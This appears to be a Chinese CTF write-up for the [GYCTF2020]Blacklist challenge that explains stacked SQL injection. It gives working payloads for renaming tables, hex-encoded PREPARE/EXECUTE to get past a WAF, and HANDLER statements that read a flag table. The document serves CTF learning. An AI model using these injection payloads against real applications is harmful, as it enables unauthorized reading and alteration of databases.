zoukankan      html  css  js  c++  java
  • [GYCTF2020]Blacklist

    这题是用堆叠注入,同时也是借这题记录一下CTF中堆叠注入的一些骚操作

    以下部分内容转载大佬的文章

    show databases;   获取数据库名
    show tables;  获取表名
    show columns from `table_name`; 获取列名

    绕过技巧

    1、修改表名

    用 “[强网杯 2019]随便注” 为例, 这里有两个表,一个是 ’ 1919810931114514 ‘ ,还有一个是’words‘ , words表中有id和data两个字段,1919810931114514表中有flag的字段

    因为可以看到回显是两个数据,猜测应该是words表

    推测 内部语句应该是

    select  id,data from words where id='$id'

    那么骚操作开始了,有点像偷天换日的意思

    1、将words表名替换成其他的

    2、然后将 `1919810931114514` 这个表名称替换成words

    3、在把flag这个字段替换成data

    4、最后再插入一个id字段

    最终的查询结果就可以输出我们构造的新的words了

     payload 如下

    1';
    alter table words rename to words1;
    alter table `1919810931114514` rename to words;
    alter table words change flag id varchar(50);#

    最后用  1' or 1=1#   把flag打印出来

    2、预编译

    依旧是以“[强网杯 2019]随便注”  为例,先构造一个sql语句,然后执行它,payload转化成16进制绕过waf

    1';
    SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
    prepare execsql from @a;
    execute execsql;#

    3、HANDLER

    以 ”[GYCTF2020]Blacklist“ 为例,因为前面关键字都被禁用了,所以前面的payload都无效了

    但是这里还有一种新姿势,参考官方文档

    HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

    1';
    HANDLER FlagHere OPEN;
    HANDLER FlagHere READ FIRST;
    HANDLER FlagHere CLOSE;#
  • 相关阅读:
    Javascript 返回上一页
    html中link和import方式导入CSS文件的区别
    Leecode no.76 最小覆盖子串
    Leecode no.344 反转字符串
    Leecode no.167 两数之和 II 输入有序数组
    Leecode no.567 字符串的排列
    遍历目录和文件信息
    JAVASCRIPT显示农历的日历
    asp.net上传图片加水印(c#)
    asp.net XML操作类
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12398554.html
Copyright © 2011-2022 走看看